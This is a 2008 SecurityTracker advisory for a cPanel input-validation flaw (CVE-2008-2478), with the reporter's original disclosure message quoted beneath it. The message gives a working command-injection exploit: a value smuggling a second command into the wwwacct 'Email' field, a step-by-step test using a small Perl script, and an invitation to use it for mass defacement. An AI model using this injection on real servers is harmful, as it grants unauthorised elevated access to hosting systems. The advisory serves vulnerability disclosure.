cPanel Input Validation Flaw in 'Email' Parameter Lets Local Users Gain Elevated Privileges
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SecurityTracker Alert ID: 1020042
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SecurityTracker URL: http://securitytracker.com/id?1020042
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CVE Reference: CVE-2008-2478
(Links to External Site)
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Updated: May 30 2008
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Original Entry Date: May 19 2008
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Impact: Root access via local system
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Exploit Included: Yes
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Description: A vulnerability was reported in cPanel. A local user can obtain elevated privileges on the target system.
A local user can invoke the 'wwwact' command and create an account with a specially crafted e-mail address to execute arbitrary commands
on the target system with reseller privileges.
Ali Jasbi of IHST security & hacking Research team reproted this vulnerability.
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Impact: A local user can obtain elevated privileges on the target system.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.cpanel.net (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any)
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Reported By: a.jasbi@yahoo.com
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Message History:
None.
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Source Message Contents
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Date: 18 May 2008 14:45:04 -0000
From: a.jasbi@yahoo.com
Subject: Cpanel all version >> root access with a reseller account.
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By : Ali Jasbi ( IHST security & hacking Research team) WwW.Hackerz.ir
Vendor : Cpanel.net
Version : ALL !!
Risk : Very high
What u can do with this bug is :
u can have a access to all the server with reseller privilege (Th3 r00t)
how it's work ?
when u want to create an account in shell what will happen ?
./script/wwwact [domainname] [username] [password] [Email address] lab lab lab
that u can run it with a web base program ! ( cpanel : doamin:2086)
example :
http://domain:2086/scripts/wwwacct [domainname] [username] [password] [Email address] lab lab lab
it means you got a access to wwwacct in the scripts folder (Th3 r00t)
so u can run other command with root access like that
./scripts/wwwactt domain.com domain password ali@hackerz.ir;./home/hackerz/public_html/do.pl ( your c ommand now is ./home/hackerz/public_html/do.pl)
that u can Likewise run it on the web base program.what u need to do is just write ali@hackerz.ir;./ home/hackerz/public_html/do.pl
in Email text box when u want to create an account.
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Test it:
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Step 1
Save this file in /home/user/public_html/do.pl .
#!/usr/bin/perl
$old='/home/user/public_html/test.txt';
$new='/home/root/kon.txt';
rename $old, $new;
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step 2
make a text file named test.txt in your public_html directory.
path will be : /home/user/public_html/test.txt .
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step 3
create an account and write ali@hackerz.ir;./home/user/public_html/do.pl in E-mail Address text box
then click on the "create" button.
Yes , you can find your file in /home/root/ .
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you can run your own code !(mass defacer, exploit's or everything that u want).
Enjoy it...
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